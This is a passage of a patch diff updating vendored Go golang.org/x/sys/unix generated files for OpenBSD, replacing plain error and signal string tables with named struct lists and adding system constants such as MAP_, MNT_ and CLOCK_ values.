-+ {49, "EADDRNOTAVAIL", "can't assign requested address"},
-+ {50, "ENETDOWN", "network is down"},
-+ {51, "ENETUNREACH", "network is unreachable"},
-+ {52, "ENETRESET", "network dropped connection on reset"},
-+ {53, "ECONNABORTED", "software caused connection abort"},
-+ {54, "ECONNRESET", "connection reset by peer"},
-+ {55, "ENOBUFS", "no buffer space available"},
-+ {56, "EISCONN", "socket is already connected"},
-+ {57, "ENOTCONN", "socket is not connected"},
-+ {58, "ESHUTDOWN", "can't send after socket shutdown"},
-+ {59, "ETOOMANYREFS", "too many references: can't splice"},
-+ {60, "ETIMEDOUT", "connection timed out"},
-+ {61, "ECONNREFUSED", "connection refused"},
-+ {62, "ELOOP", "too many levels of symbolic links"},
-+ {63, "ENAMETOOLONG", "file name too long"},
-+ {64, "EHOSTDOWN", "host is down"},
-+ {65, "EHOSTUNREACH", "no route to host"},
-+ {66, "ENOTEMPTY", "directory not empty"},
-+ {67, "EPROCLIM", "too many processes"},
-+ {68, "EUSERS", "too many users"},
-+ {69, "EDQUOT", "disc quota exceeded"},
-+ {70, "ESTALE", "stale NFS file handle"},
-+ {71, "EREMOTE", "too many levels of remote in path"},
-+ {72, "EBADRPC", "RPC struct is bad"},
-+ {73, "ERPCMISMATCH", "RPC version wrong"},
-+ {74, "EPROGUNAVAIL", "RPC prog. not avail"},
-+ {75, "EPROGMISMATCH", "program version wrong"},
-+ {76, "EPROCUNAVAIL", "bad procedure for program"},
-+ {77, "ENOLCK", "no locks available"},
-+ {78, "ENOSYS", "function not implemented"},
-+ {79, "EFTYPE", "inappropriate file type or format"},
-+ {80, "EAUTH", "authentication error"},
-+ {81, "ENEEDAUTH", "need authenticator"},
-+ {82, "EIDRM", "identifier removed"},
-+ {83, "ENOMSG", "no message of desired type"},
-+ {84, "EOVERFLOW", "value too large to be stored in data type"},
-+ {85, "EILSEQ", "illegal byte sequence"},
-+ {86, "ENOTSUP", "not supported"},
-+ {87, "ECANCELED", "operation Canceled"},
-+ {88, "EBADMSG", "bad or Corrupt message"},
-+ {89, "ENODATA", "no message available"},
-+ {90, "ENOSR", "no STREAM resources"},
-+ {91, "ENOSTR", "not a STREAM"},
-+ {92, "ETIME", "STREAM ioctl timeout"},
-+ {93, "ENOATTR", "attribute not found"},
-+ {94, "EMULTIHOP", "multihop attempted"},
-+ {95, "ENOLINK", "link has been severed"},
-+ {96, "ELAST", "protocol error"},
- }
-
- // Signal table
--var signals = [...]string{
-- 1: "hangup",
-- 2: "interrupt",
-- 3: "quit",
-- 4: "illegal instruction",
-- 5: "trace/BPT trap",
-- 6: "abort trap",
-- 7: "EMT trap",
-- 8: "floating point exception",
-- 9: "killed",
-- 10: "bus error",
-- 11: "segmentation fault",
-- 12: "bad system call",
-- 13: "broken pipe",
-- 14: "alarm clock",
-- 15: "terminated",
-- 16: "urgent I/O condition",
-- 17: "stopped (signal)",
-- 18: "stopped",
-- 19: "continued",
-- 20: "child exited",
-- 21: "stopped (tty input)",
-- 22: "stopped (tty output)",
-- 23: "I/O possible",
-- 24: "cputime limit exceeded",
-- 25: "filesize limit exceeded",
-- 26: "virtual timer expired",
-- 27: "profiling timer expired",
-- 28: "window size changes",
-- 29: "information request",
-- 30: "user defined signal 1",
-- 31: "user defined signal 2",
-- 32: "power fail/restart",
-+var signalList = [...]struct {
-+ num syscall.Signal
-+ name string
-+ desc string
-+}{
-+ {1, "SIGHUP", "hangup"},
-+ {2, "SIGINT", "interrupt"},
-+ {3, "SIGQUIT", "quit"},
-+ {4, "SIGILL", "illegal instruction"},
-+ {5, "SIGTRAP", "trace/BPT trap"},
-+ {6, "SIGIOT", "abort trap"},
-+ {7, "SIGEMT", "EMT trap"},
-+ {8, "SIGFPE", "floating point exception"},
-+ {9, "SIGKILL", "killed"},
-+ {10, "SIGBUS", "bus error"},
-+ {11, "SIGSEGV", "segmentation fault"},
-+ {12, "SIGSYS", "bad system call"},
-+ {13, "SIGPIPE", "broken pipe"},
-+ {14, "SIGALRM", "alarm clock"},
-+ {15, "SIGTERM", "terminated"},
-+ {16, "SIGURG", "urgent I/O condition"},
-+ {17, "SIGSTOP", "stopped (signal)"},
-+ {18, "SIGTSTP", "stopped"},
-+ {19, "SIGCONT", "continued"},
-+ {20, "SIGCHLD", "child exited"},
-+ {21, "SIGTTIN", "stopped (tty input)"},
-+ {22, "SIGTTOU", "stopped (tty output)"},
-+ {23, "SIGIO", "I/O possible"},
-+ {24, "SIGXCPU", "cputime limit exceeded"},
-+ {25, "SIGXFSZ", "filesize limit exceeded"},
-+ {26, "SIGVTALRM", "virtual timer expired"},
-+ {27, "SIGPROF", "profiling timer expired"},
-+ {28, "SIGWINCH", "window size changes"},
-+ {29, "SIGINFO", "information request"},
-+ {30, "SIGUSR1", "user defined signal 1"},
-+ {31, "SIGUSR2", "user defined signal 2"},
-+ {32, "SIGPWR", "power fail/restart"},
- }
-diff --git a/vendor/golang.org/x/sys/unix/zerrors_openbsd_386.go b/vendor/golang.org/x/sys/unix/zerrors_openbsd_386.go
-index 3322e998..5402bd55 100644
---- a/vendor/golang.org/x/sys/unix/zerrors_openbsd_386.go
-+++ b/vendor/golang.org/x/sys/unix/zerrors_openbsd_386.go
-@@ -1,9 +1,9 @@
- // mkerrors.sh -m32
--// MACHINE GENERATED BY THE COMMAND ABOVE; DO NOT EDIT
-+// Code generated by the command above; see README.md. DO NOT EDIT.
-
- // +build 386,openbsd
-
--// Created by cgo -godefs - DO NOT EDIT
-+// Code generated by cmd/cgo -godefs; DO NOT EDIT.
- // cgo -godefs -- -m32 _const.go
-
- package unix
-@@ -147,6 +147,7 @@ const (
- CFLUSH = 0xf
- CLOCAL = 0x8000
- CREAD = 0x800
-+ CRTSCTS = 0x10000
- CS5 = 0x0
- CS6 = 0x100
- CS7 = 0x200
-@@ -157,6 +158,8 @@ const (
- CSTOP = 0x13
- CSTOPB = 0x400
- CSUSP = 0x1a
-+ CTL_HW = 0x6
-+ CTL_KERN = 0x1
- CTL_MAXNAME = 0xc
- CTL_NET = 0x4
- DIOCOSFPFLUSH = 0x2000444e
-@@ -442,6 +445,7 @@ const (
- F_UNLCK = 0x2
- F_WRLCK = 0x3
- HUPCL = 0x4000
-+ HW_MACHINE = 0x1
- ICANON = 0x100
- ICMP6_FILTER = 0x12
- ICRNL = 0x100
-@@ -860,6 +864,10 @@ const (
- IXANY = 0x800
- IXOFF = 0x400
- IXON = 0x200
-+ KERN_HOSTNAME = 0xa
-+ KERN_OSRELEASE = 0x2
-+ KERN_OSTYPE = 0x1
-+ KERN_VERSION = 0x4
- LCNT_OVERLOAD_FLUSH = 0x6
- LOCK_EX = 0x2
- LOCK_NB = 0x4
-@@ -873,14 +881,15 @@ const (
- MADV_SPACEAVAIL = 0x5
- MADV_WILLNEED = 0x3
- MAP_ANON = 0x1000
-- MAP_COPY = 0x4
-+ MAP_ANONYMOUS = 0x1000
-+ MAP_CONCEAL = 0x8000
-+ MAP_COPY = 0x2
- MAP_FILE = 0x0
- MAP_FIXED = 0x10
-- MAP_FLAGMASK = 0x1ff7
-- MAP_HASSEMAPHORE = 0x200
-- MAP_INHERIT = 0x80
-+ MAP_FLAGMASK = 0xfff7
-+ MAP_HASSEMAPHORE = 0x0
-+ MAP_INHERIT = 0x0
- MAP_INHERIT_COPY = 0x1
-- MAP_INHERIT_DONATE_COPY = 0x3
- MAP_INHERIT_NONE = 0x2
- MAP_INHERIT_SHARE = 0x0
- MAP_NOEXTEND = 0x100
-@@ -888,9 +897,36 @@ const (
- MAP_PRIVATE = 0x2
- MAP_RENAME = 0x20
- MAP_SHARED = 0x1
-- MAP_TRYFIXED = 0x400
-+ MAP_STACK = 0x4000
-+ MAP_TRYFIXED = 0x0
- MCL_CURRENT = 0x1
- MCL_FUTURE = 0x2
-+ MNT_ASYNC = 0x40
-+ MNT_DEFEXPORTED = 0x200
-+ MNT_DELEXPORT = 0x20000
-+ MNT_DOOMED = 0x8000000
-+ MNT_EXPORTANON = 0x400
-+ MNT_EXPORTED = 0x100
-+ MNT_EXRDONLY = 0x80
-+ MNT_FORCE = 0x80000
-+ MNT_LAZY = 0x3
-+ MNT_LOCAL = 0x1000
-+ MNT_NOATIME = 0x8000
-+ MNT_NODEV = 0x10
-+ MNT_NOEXEC = 0x4
-+ MNT_NOSUID = 0x8
-+ MNT_NOWAIT = 0x2
-+ MNT_QUOTA = 0x2000
-+ MNT_RDONLY = 0x1
-+ MNT_RELOAD = 0x40000
-+ MNT_ROOTFS = 0x4000
-+ MNT_SOFTDEP = 0x4000000
-+ MNT_SYNCHRONOUS = 0x2
-+ MNT_UPDATE = 0x10000
-+ MNT_VISFLAGMASK = 0x400ffff
-+ MNT_WAIT = 0x1
-+ MNT_WANTRDWR = 0x2000000
-+ MNT_WXALLOWED = 0x800
- MSG_BCAST = 0x100
- MSG_CTRUNC = 0x20
- MSG_DONTROUTE = 0x4
-@@ -912,6 +948,7 @@ const (
- NET_RT_MAXID = 0x6
- NET_RT_STATS = 0x4
- NET_RT_TABLE = 0x5
-+ NFDBITS = 0x20
- NOFLSH = 0x80000000
- NOTE_ATTRIB = 0x8
- NOTE_CHILD = 0x4
-@@ -1210,6 +1247,34 @@ const (
- SO_TIMESTAMP = 0x800
- SO_TYPE = 0x1008
- SO_USELOOPBACK = 0x40
-+ S_BLKSIZE = 0x200
-+ S_IEXEC = 0x40
-+ S_IFBLK = 0x6000
-+ S_IFCHR = 0x2000
-+ S_IFDIR = 0x4000
-+ S_IFIFO = 0x1000
-+ S_IFLNK = 0xa000
-+ S_IFMT = 0xf000
-+ S_IFREG = 0x8000
-+ S_IFSOCK = 0xc000
-+ S_IREAD = 0x100
-+ S_IRGRP = 0x20
-+ S_IROTH = 0x4
-+ S_IRUSR = 0x100
-+ S_IRWXG = 0x38
-+ S_IRWXO = 0x7
-+ S_IRWXU = 0x1c0
-+ S_ISGID = 0x400
-+ S_ISTXT = 0x200
-+ S_ISUID = 0x800
-+ S_ISVTX = 0x200
-+ S_IWGRP = 0x10
-+ S_IWOTH = 0x2
-+ S_IWRITE = 0x80
-+ S_IWUSR = 0x80
-+ S_IXGRP = 0x8
-+ S_IXOTH = 0x1
-+ S_IXUSR = 0x40
- TCIFLUSH = 0x1
- TCIOFLUSH = 0x3
- TCOFLUSH = 0x2
-@@ -1453,132 +1518,140 @@ const (
- )
-
- // Error table
--var errors = [...]string{
-- 1: "operation not permitted",
-- 2: "no such file or directory",
-- 3: "no such process",
-- 4: "interrupted system call",
-- 5: "input/output error",
-- 6: "device not configured",
-- 7: "argument list too long",
-- 8: "exec format error",
-- 9: "bad file descriptor",
-- 10: "no child processes",
-- 11: "resource deadlock avoided",
-- 12: "cannot allocate memory",
-- 13: "permission denied",
-- 14: "bad address",
-- 15: "block device required",
-- 16: "device busy",
-- 17: "file exists",
-- 18: "cross-device link",
-- 19: "operation not supported by device",
-- 20: "not a directory",
-- 21: "is a directory",
-- 22: "invalid argument",
-- 23: "too many open files in system",
-- 24: "too many open files",
-- 25: "inappropriate ioctl for device",
-- 26: "text file busy",
-- 27: "file too large",
-- 28: "no space left on device",
-- 29: "illegal seek",
-- 30: "read-only file system",
-- 31: "too many links",
-- 32: "broken pipe",
-- 33: "numerical argument out of domain",
-- 34: "result too large",
-- 35: "resource temporarily unavailable",
-- 36: "operation now in progress",
-- 37: "operation already in progress",
-- 38: "socket operation on non-socket",
-- 39: "destination address required",
-- 40: "message too long",
-- 41: "protocol wrong type for socket",
-- 42: "protocol not available",
-- 43: "protocol not supported",
-- 44: "socket type not supported",
-- 45: "operation not supported",
-- 46: "protocol family not supported",
-- 47: "address family not supported by protocol family",
-- 48: "address already in use",
-- 49: "can't assign requested address",
-- 50: "network is down",
-- 51: "network is unreachable",
-- 52: "network dropped connection on reset",
-- 53: "software caused connection abort",
-- 54: "connection reset by peer",
-- 55: "no buffer space available",
-- 56: "socket is already connected",
-- 57: "socket is not connected",
-- 58: "can't send after socket shutdown",
-- 59: "too many references: can't splice",
-- 60: "connection timed out",
-- 61: "connection refused",
-- 62: "too many levels of symbolic links",
-- 63: "file name too long",
-- 64: "host is down",
-- 65: "no route to host",
-- 66: "directory not empty",
-- 67: "too many processes",
-- 68: "too many users",
-- 69: "disc quota exceeded",
-- 70: "stale NFS file handle",
-- 71: "too many levels of remote in path",
-- 72: "RPC struct is bad",
-- 73: "RPC version wrong",
-- 74: "RPC prog. not avail",
-- 75: "program version wrong",
-- 76: "bad procedure for program",
-- 77: "no locks available",
-- 78: "function not implemented",
-- 79: "inappropriate file type or format",
-- 80: "authentication error",
-- 81: "need authenticator",
-- 82: "IPsec processing failure",
-- 83: "attribute not found",
-- 84: "illegal byte sequence",
-- 85: "no medium found",
-- 86: "wrong medium type",
-- 87: "value too large to be stored in data type",
-- 88: "operation canceled",
-- 89: "identifier removed",
-- 90: "no message of desired type",
-- 91: "not supported",
-+var errorList = [...]struct {
-+ num syscall.Errno
-+ name string
-+ desc string
-+}{
-+ {1, "EPERM", "operation not permitted"},
-+ {2, "ENOENT", "no such file or directory"},
-+ {3, "ESRCH", "no such process"},
-+ {4, "EINTR", "interrupted system call"},
-+ {5, "EIO", "input/output error"},
-+ {6, "ENXIO", "device not configured"},
-+ {7, "E2BIG", "argument list too long"},
-+ {8, "ENOEXEC", "exec format error"},
-+ {9, "EBADF", "bad file descriptor"},
-+ {10, "ECHILD", "no child processes"},
-+ {11, "EDEADLK", "resource deadlock avoided"},
-+ {12, "ENOMEM", "cannot allocate memory"},
-+ {13, "EACCES", "permission denied"},
-+ {14, "EFAULT", "bad address"},
-+ {15, "ENOTBLK", "block device required"},
-+ {16, "EBUSY", "device busy"},
-+ {17, "EEXIST", "file exists"},
-+ {18, "EXDEV", "cross-device link"},
-+ {19, "ENODEV", "operation not supported by device"},
-+ {20, "ENOTDIR", "not a directory"},
-+ {21, "EISDIR", "is a directory"},
-+ {22, "EINVAL", "invalid argument"},
-+ {23, "ENFILE", "too many open files in system"},
-+ {24, "EMFILE", "too many open files"},
-+ {25, "ENOTTY", "inappropriate ioctl for device"},
-+ {26, "ETXTBSY", "text file busy"},
-+ {27, "EFBIG", "file too large"},
-+ {28, "ENOSPC", "no space left on device"},
-+ {29, "ESPIPE", "illegal seek"},
-+ {30, "EROFS", "read-only file system"},
-+ {31, "EMLINK", "too many links"},
-+ {32, "EPIPE", "broken pipe"},
-+ {33, "EDOM", "numerical argument out of domain"},
-+ {34, "ERANGE", "result too large"},
-+ {35, "EWOULDBLOCK", "resource temporarily unavailable"},
-+ {36, "EINPROGRESS", "operation now in progress"},
-+ {37, "EALREADY", "operation already in progress"},
-+ {38, "ENOTSOCK", "socket operation on non-socket"},
-+ {39, "EDESTADDRREQ", "destination address required"},
-+ {40, "EMSGSIZE", "message too long"},
-+ {41, "EPROTOTYPE", "protocol wrong type for socket"},
-+ {42, "ENOPROTOOPT", "protocol not available"},
-+ {43, "EPROTONOSUPPORT", "protocol not supported"},
-+ {44, "ESOCKTNOSUPPORT", "socket type not supported"},
-+ {45, "EOPNOTSUPP", "operation not supported"},
-+ {46, "EPFNOSUPPORT", "protocol family not supported"},
-+ {47, "EAFNOSUPPORT", "address family not supported by protocol family"},
-+ {48, "EADDRINUSE", "address already in use"},
-+ {49, "EADDRNOTAVAIL", "can't assign requested address"},
-+ {50, "ENETDOWN", "network is down"},
-+ {51, "ENETUNREACH", "network is unreachable"},
-+ {52, "ENETRESET", "network dropped connection on reset"},
-+ {53, "ECONNABORTED", "software caused connection abort"},
-+ {54, "ECONNRESET", "connection reset by peer"},
-+ {55, "ENOBUFS", "no buffer space available"},
-+ {56, "EISCONN", "socket is already connected"},
-+ {57, "ENOTCONN", "socket is not connected"},
-+ {58, "ESHUTDOWN", "can't send after socket shutdown"},
-+ {59, "ETOOMANYREFS", "too many references: can't splice"},
-+ {60, "ETIMEDOUT", "operation timed out"},
-+ {61, "ECONNREFUSED", "connection refused"},
-+ {62, "ELOOP", "too many levels of symbolic links"},
-+ {63, "ENAMETOOLONG", "file name too long"},
-+ {64, "EHOSTDOWN", "host is down"},
-+ {65, "EHOSTUNREACH", "no route to host"},
-+ {66, "ENOTEMPTY", "directory not empty"},
-+ {67, "EPROCLIM", "too many processes"},
-+ {68, "EUSERS", "too many users"},
-+ {69, "EDQUOT", "disk quota exceeded"},
-+ {70, "ESTALE", "stale NFS file handle"},
-+ {71, "EREMOTE", "too many levels of remote in path"},
-+ {72, "EBADRPC", "RPC struct is bad"},
-+ {73, "ERPCMISMATCH", "RPC version wrong"},
-+ {74, "EPROGUNAVAIL", "RPC program not available"},
-+ {75, "EPROGMISMATCH", "program version wrong"},
-+ {76, "EPROCUNAVAIL", "bad procedure for program"},
-+ {77, "ENOLCK", "no locks available"},
-+ {78, "ENOSYS", "function not implemented"},
-+ {79, "EFTYPE", "inappropriate file type or format"},
-+ {80, "EAUTH", "authentication error"},
-+ {81, "ENEEDAUTH", "need authenticator"},
-+ {82, "EIPSEC", "IPsec processing failure"},
-+ {83, "ENOATTR", "attribute not found"},
-+ {84, "EILSEQ", "illegal byte sequence"},
-+ {85, "ENOMEDIUM", "no medium found"},
-+ {86, "EMEDIUMTYPE", "wrong medium type"},
-+ {87, "EOVERFLOW", "value too large to be stored in data type"},
-+ {88, "ECANCELED", "operation canceled"},
-+ {89, "EIDRM", "identifier removed"},
-+ {90, "ENOMSG", "no message of desired type"},
-+ {91, "ELAST", "not supported"},
- }
-
- // Signal table
--var signals = [...]string{
-- 1: "hangup",
-- 2: "interrupt",
-- 3: "quit",
-- 4: "illegal instruction",
-- 5: "trace/BPT trap",
-- 6: "abort trap",
-- 7: "EMT trap",
-- 8: "floating point exception",
-- 9: "killed",
-- 10: "bus error",
-- 11: "segmentation fault",
-- 12: "bad system call",
-- 13: "broken pipe",
-- 14: "alarm clock",
-- 15: "terminated",
-- 16: "urgent I/O condition",
-- 17: "stopped (signal)",
-- 18: "stopped",
-- 19: "continued",
-- 20: "child exited",
-- 21: "stopped (tty input)",
-- 22: "stopped (tty output)",
-- 23: "I/O possible",
-- 24: "cputime limit exceeded",
-- 25: "filesize limit exceeded",
-- 26: "virtual timer expired",
-- 27: "profiling timer expired",
-- 28: "window size changes",
-- 29: "information request",
-- 30: "user defined signal 1",
-- 31: "user defined signal 2",
-- 32: "thread AST",
-+var signalList = [...]struct {
-+ num syscall.Signal
-+ name string
-+ desc string
-+}{
-+ {1, "SIGHUP", "hangup"},
-+ {2, "SIGINT", "interrupt"},
-+ {3, "SIGQUIT", "quit"},
-+ {4, "SIGILL", "illegal instruction"},
-+ {5, "SIGTRAP", "trace/BPT trap"},
-+ {6, "SIGABRT", "abort trap"},
-+ {7, "SIGEMT", "EMT trap"},
-+ {8, "SIGFPE", "floating point exception"},
-+ {9, "SIGKILL", "killed"},
-+ {10, "SIGBUS", "bus error"},
-+ {11, "SIGSEGV", "segmentation fault"},
-+ {12, "SIGSYS", "bad system call"},
-+ {13, "SIGPIPE", "broken pipe"},
-+ {14, "SIGALRM", "alarm clock"},
-+ {15, "SIGTERM", "terminated"},
-+ {16, "SIGURG", "urgent I/O condition"},
-+ {17, "SIGSTOP", "suspended (signal)"},
-+ {18, "SIGTSTP", "suspended"},
-+ {19, "SIGCONT", "continued"},
-+ {20, "SIGCHLD", "child exited"},
-+ {21, "SIGTTIN", "stopped (tty input)"},
-+ {22, "SIGTTOU", "stopped (tty output)"},
-+ {23, "SIGIO", "I/O possible"},
-+ {24, "SIGXCPU", "cputime limit exceeded"},
-+ {25, "SIGXFSZ", "filesize limit exceeded"},
-+ {26, "SIGVTALRM", "virtual timer expired"},
-+ {27, "SIGPROF", "profiling timer expired"},
-+ {28, "SIGWINCH", "window size changes"},
-+ {29, "SIGINFO", "information request"},
-+ {30, "SIGUSR1", "user defined signal 1"},
-+ {31, "SIGUSR2", "user defined signal 2"},
-+ {32, "SIGTHR", "thread AST"},
- }
-diff --git a/vendor/golang.org/x/sys/unix/zerrors_openbsd_amd64.go b/vendor/golang.org/x/sys/unix/zerrors_openbsd_amd64.go
-index 1758ecca..ffaf2d2f 100644
---- a/vendor/golang.org/x/sys/unix/zerrors_openbsd_amd64.go
-+++ b/vendor/golang.org/x/sys/unix/zerrors_openbsd_amd64.go
-@@ -1,9 +1,9 @@
- // mkerrors.sh -m64
--// MACHINE GENERATED BY THE COMMAND ABOVE; DO NOT EDIT
-+// Code generated by the command above; see README.md. DO NOT EDIT.
-
- // +build amd64,openbsd
-
--// Created by cgo -godefs - DO NOT EDIT
-+// Code generated by cmd/cgo -godefs; DO NOT EDIT.
- // cgo -godefs -- -m64 _const.go
-
- package unix
-@@ -45,6 +45,7 @@ const (
- AF_SNA = 0xb
- AF_UNIX = 0x1
- AF_UNSPEC = 0x0
-+ ALTWERASE = 0x200
- ARPHRD_ETHER = 0x1
- ARPHRD_FRELAY = 0xf
- ARPHRD_IEEE1394 = 0x18
-@@ -146,7 +147,14 @@ const (
- BRKINT = 0x2
- CFLUSH = 0xf
- CLOCAL = 0x8000
-+ CLOCK_BOOTTIME = 0x6
-+ CLOCK_MONOTONIC = 0x3
-+ CLOCK_PROCESS_CPUTIME_ID = 0x2
-+ CLOCK_REALTIME = 0x0
-+ CLOCK_THREAD_CPUTIME_ID = 0x4
-+ CLOCK_UPTIME = 0x5
- CREAD = 0x800
-+ CRTSCTS = 0x10000
- CS5 = 0x0
- CS6 = 0x100
- CS7 = 0x200
-@@ -157,6 +165,8 @@ const (
- CSTOP = 0x13
- CSTOPB = 0x400
- CSUSP = 0x1a
-+ CTL_HW = 0x6
-+ CTL_KERN = 0x1
- CTL_MAXNAME = 0xc
- CTL_NET = 0x4
- DIOCOSFPFLUSH = 0x2000444e
-@@ -175,6 +185,7 @@ const (
- DLT_LOOP = 0xc
- DLT_MPLS = 0xdb
- DLT_NULL = 0x0
-+ DLT_OPENFLOW = 0x10b
- DLT_PFLOG = 0x75
- DLT_PFSYNC = 0x12
- DLT_PPP = 0x9
-@@ -185,6 +196,23 @@ const (
- DLT_RAW = 0xe
- DLT_SLIP = 0x8
- DLT_SLIP_BSDOS = 0xf
-+ DLT_USBPCAP = 0xf9
-+ DLT_USER0 = 0x93
-+ DLT_USER1 = 0x94
-+ DLT_USER10 = 0x9d
-+ DLT_USER11 = 0x9e
-+ DLT_USER12 = 0x9f
-+ DLT_USER13 = 0xa0
-+ DLT_USER14 = 0xa1
-+ DLT_USER15 = 0xa2
-+ DLT_USER2 = 0x95
-+ DLT_USER3 = 0x96
-+ DLT_USER4 = 0x97
-+ DLT_USER5 = 0x98
-+ DLT_USER6 = 0x99
-+ DLT_USER7 = 0x9a
-+ DLT_USER8 = 0x9b
-+ DLT_USER9 = 0x9c
- DT_BLK = 0x6
- DT_CHR = 0x2
- DT_DIR = 0x4
-@@ -398,27 +426,38 @@ const (
- ETHER_CRC_POLY_LE = 0xedb88320
- ETHER_HDR_LEN = 0xe
- ETHER_MAX_DIX_LEN = 0x600
-+ ETHER_MAX_HARDMTU_LEN = 0xff9b
- ETHER_MAX_LEN = 0x5ee
- ETHER_MIN_LEN = 0x40
- ETHER_TYPE_LEN = 0x2
- ETHER_VLAN_ENCAP_LEN = 0x4
- EVFILT_AIO = -0x3
-+ EVFILT_DEVICE = -0x8
- EVFILT_PROC = -0x5
- EVFILT_READ = -0x1
- EVFILT_SIGNAL = -0x6
-- EVFILT_SYSCOUNT = 0x7
-+ EVFILT_SYSCOUNT = 0x8
- EVFILT_TIMER = -0x7
- EVFILT_VNODE = -0x4
- EVFILT_WRITE = -0x2
-+ EVL_ENCAPLEN = 0x4
-+ EVL_PRIO_BITS = 0xd
-+ EVL_PRIO_MAX = 0x7
-+ EVL_VLID_MASK = 0xfff
-+ EVL_VLID_MAX = 0xffe
-+ EVL_VLID_MIN = 0x1
-+ EVL_VLID_NULL = 0x0
- EV_ADD = 0x1
- EV_CLEAR = 0x20
- EV_DELETE = 0x2
- EV_DISABLE = 0x8
-+ EV_DISPATCH = 0x80
- EV_ENABLE = 0x4
- EV_EOF = 0x8000
- EV_ERROR = 0x4000
- EV_FLAG1 = 0x2000
- EV_ONESHOT = 0x10
-+ EV_RECEIPT = 0x40
- EV_SYSFLAGS = 0xf000
- EXTA = 0x4b00
- EXTB = 0x9600
-@@ -432,6 +471,7 @@ const (
- F_GETFL = 0x3
- F_GETLK = 0x7
- F_GETOWN = 0x5
-+ F_ISATTY = 0xb
- F_OK = 0x0
- F_RDLCK = 0x1
- F_SETFD = 0x2
-@@ -442,13 +482,13 @@ const (
- F_UNLCK = 0x2
- F_WRLCK = 0x3
- HUPCL = 0x4000
-+ HW_MACHINE = 0x1
- ICANON = 0x100
- ICMP6_FILTER = 0x12
- ICRNL = 0x100
- IEXTEN = 0x400
- IFAN_ARRIVAL = 0x0
- IFAN_DEPARTURE = 0x1
-- IFA_ROUTE = 0x1
- IFF_ALLMULTI = 0x200
- IFF_BROADCAST = 0x2
- IFF_CANTCHANGE = 0x8e52
-@@ -459,12 +499,12 @@ const (
- IFF_LOOPBACK = 0x8
- IFF_MULTICAST = 0x8000
- IFF_NOARP = 0x80
-- IFF_NOTRAILERS = 0x20
- IFF_OACTIVE = 0x400
- IFF_POINTOPOINT = 0x10
- IFF_PROMISC = 0x100
- IFF_RUNNING = 0x40
- IFF_SIMPLEX = 0x800
-+ IFF_STATICARP = 0x20
- IFF_UP = 0x1
- IFNAMSIZ = 0x10
- IFT_1822 = 0x2
-@@ -593,6 +633,7 @@ const (
- IFT_LINEGROUP = 0xd2
- IFT_LOCALTALK = 0x2a
- IFT_LOOP = 0x18
-+ IFT_MBIM = 0xfa
- IFT_MEDIAMAILOVERIP = 0x8b
- IFT_MFSIGLINK = 0xa7
- IFT_MIOX25 = 0x26
-@@ -717,8 +758,6 @@ const (
- IPPROTO_AH = 0x33
- IPPROTO_CARP = 0x70
- IPPROTO_DIVERT = 0x102
-- IPPROTO_DIVERT_INIT = 0x2
-- IPPROTO_DIVERT_RESP = 0x1
- IPPROTO_DONE = 0x101
- IPPROTO_DSTOPTS = 0x3c
- IPPROTO_EGP = 0x8
-@@ -775,6 +814,7 @@ const (
- IPV6_LEAVE_GROUP = 0xd
- IPV6_MAXHLIM = 0xff
- IPV6_MAXPACKET = 0xffff
-+ IPV6_MINHOPCOUNT = 0x41
- IPV6_MMTU = 0x500
- IPV6_MULTICAST_HOPS = 0xa
- IPV6_MULTICAST_IF = 0x9
-@@ -814,12 +854,12 @@ const (
- IP_DEFAULT_MULTICAST_LOOP = 0x1
- IP_DEFAULT_MULTICAST_TTL = 0x1
- IP_DF = 0x4000
-- IP_DIVERTFL = 0x1022
- IP_DROP_MEMBERSHIP = 0xd
- IP_ESP_NETWORK_LEVEL = 0x16
- IP_ESP_TRANS_LEVEL = 0x15
- IP_HDRINCL = 0x2
- IP_IPCOMP_LEVEL = 0x1d
-+ IP_IPDEFTTL = 0x25
- IP_IPSECFLOWINFO = 0x24
- IP_IPSEC_LOCAL_AUTH = 0x1b
- IP_IPSEC_LOCAL_CRED = 0x19
-@@ -853,13 +893,19 @@ const (
- IP_RETOPTS = 0x8
- IP_RF = 0x8000
- IP_RTABLE = 0x1021
-+ IP_SENDSRCADDR = 0x7
- IP_TOS = 0x3
- IP_TTL = 0x4
- ISIG = 0x80
- ISTRIP = 0x20
-+ IUCLC = 0x1000
- IXANY = 0x800
- IXOFF = 0x400
- IXON = 0x200
-+ KERN_HOSTNAME = 0xa
-+ KERN_OSRELEASE = 0x2
-+ KERN_OSTYPE = 0x1
-+ KERN_VERSION = 0x4
- LCNT_OVERLOAD_FLUSH = 0x6
- LOCK_EX = 0x2
- LOCK_NB = 0x4
-@@ -873,25 +919,57 @@ const (
- MADV_SPACEAVAIL = 0x5
- MADV_WILLNEED = 0x3
- MAP_ANON = 0x1000
-- MAP_COPY = 0x4
-+ MAP_ANONYMOUS = 0x1000
-+ MAP_CONCEAL = 0x8000
-+ MAP_COPY = 0x2
- MAP_FILE = 0x0
- MAP_FIXED = 0x10
-- MAP_FLAGMASK = 0x1ff7
-- MAP_HASSEMAPHORE = 0x200
-- MAP_INHERIT = 0x80
-+ MAP_FLAGMASK = 0xfff7
-+ MAP_HASSEMAPHORE = 0x0
-+ MAP_INHERIT = 0x0
- MAP_INHERIT_COPY = 0x1
-- MAP_INHERIT_DONATE_COPY = 0x3
- MAP_INHERIT_NONE = 0x2
- MAP_INHERIT_SHARE = 0x0
-- MAP_NOEXTEND = 0x100
-- MAP_NORESERVE = 0x40
-+ MAP_INHERIT_ZERO = 0x3
-+ MAP_NOEXTEND = 0x0
-+ MAP_NORESERVE = 0x0
- MAP_PRIVATE = 0x2
-- MAP_RENAME = 0x20
-+ MAP_RENAME = 0x0
- MAP_SHARED = 0x1
-- MAP_TRYFIXED = 0x400
-+ MAP_STACK = 0x4000
-+ MAP_TRYFIXED = 0x0
- MCL_CURRENT = 0x1
- MCL_FUTURE = 0x2
-+ MNT_ASYNC = 0x40
-+ MNT_DEFEXPORTED = 0x200
-+ MNT_DELEXPORT = 0x20000
-+ MNT_DOOMED = 0x8000000
-+ MNT_EXPORTANON = 0x400
-+ MNT_EXPORTED = 0x100
-+ MNT_EXRDONLY = 0x80
-+ MNT_FORCE = 0x80000
-+ MNT_LAZY = 0x3
-+ MNT_LOCAL = 0x1000
-+ MNT_NOATIME = 0x8000
-+ MNT_NODEV = 0x10
-+ MNT_NOEXEC = 0x4
-+ MNT_NOPERM = 0x20
-+ MNT_NOSUID = 0x8
-+ MNT_NOWAIT = 0x2
-+ MNT_QUOTA = 0x2000
-+ MNT_RDONLY = 0x1
-+ MNT_RELOAD = 0x40000
-+ MNT_ROOTFS = 0x4000
-+ MNT_SOFTDEP = 0x4000000
-+ MNT_STALLED = 0x100000
